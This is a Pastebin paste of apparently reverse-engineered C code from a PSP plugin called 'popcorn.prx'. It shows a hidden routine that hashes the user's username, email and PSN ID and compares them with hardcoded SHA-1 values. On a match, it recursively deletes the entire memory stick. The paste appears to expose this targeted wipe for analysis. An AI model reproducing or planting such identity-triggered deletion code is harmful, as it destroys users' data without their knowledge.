SHARE
TWEET

Untitled

a guest Mar 18th, 2015 2,597 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //popcorn.prx reverse
  2.  
  3. const char * username; //10472
  4. const char * email; //10673
  5. const char * psn_id; //10689
  6.  
  7. int remove(const char * path) //sub_000000F8
  8. {
  9.         char buffer[256];
  10.         SceIoDirent entry;
  11.         SceUID dir = sceIoDopen(path);
  12.  
  13.         if(dir < 0)
  14.                 sceIoRemove(path);
  15.         else
  16.         {
  17.                 memset(&entry, 0, sizeof(SceIoDirent));
  18.                 while(sceIoDread(dir, &entry) >= 0)
  19.                 {
  20.                         if(entry.d_name[0] != '.')
  21.                         {
  22.                                 sprintf(buffer, "%s/%s", path, entry.d_name);
  23.                                 remove(buffer);
  24.                         };
  25.                        
  26.                         memset(&entry, 0, sizeof(SceIoDirent));
  27.                 };
  28.                
  29.                 sceIoDclose(dir);
  30.                 sceIoRmdir(path);
  31.         };
  32.        
  33.         return 0;
  34. };
  35.  
  36. void break_zett() //sub_000001D4
  37. {
  38.         static const char sha_1[20] = {0xB7, 0xC1, 0xBC, 0xFF, 0x2A, 0x4C, 0x2F, 0x43, 0xAC, 0x12, 0xA6, 0x22, 0xB7, 0x0A, 0x80, 0xF3, 0xF3, 0xEC, 0x25, 0x0C}; //7620
  39.         static const char sha_2[20] = {0xDD, 0xD0, 0x06, 0xD4, 0x7C, 0x13, 0x61, 0x92, 0xBD, 0xD4, 0x17, 0x8F, 0xDE, 0x6A, 0xBF, 0x3B, 0x4A, 0x1D, 0x3F, 0xDA}; //7600
  40.         static const char sha_3[20] = {0x24, 0x57, 0x15, 0x9E, 0xD1, 0xD8, 0x13, 0x30, 0x0F, 0xDB, 0xEA, 0x8E, 0xA5, 0x5F, 0xF7, 0xF5, 0x42, 0x50, 0xE1, 0xD8}; //7580
  41.        
  42.         char buffer1[20]; //7876
  43.         char buffer2[20]; //7856
  44.         char buffer3[20]; //7836
  45.        
  46.         sceKernelUtilsSha1Digest(username, strlen(username), buffer1);
  47.         sceKernelUtilsSha1Digest(email, strlen(email), buffer2);
  48.         sceKernelUtilsSha1Digest(psn_id, strlen(psn_id), buffer3);
  49.  
  50.         if(!memcmp(buffer1, sha_1, 20) || !memcmp(buffer2, sha_2, 20) || !memcmp(buffer3, sha_3, 20))
  51.                 remove("ms0:");
  52. };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top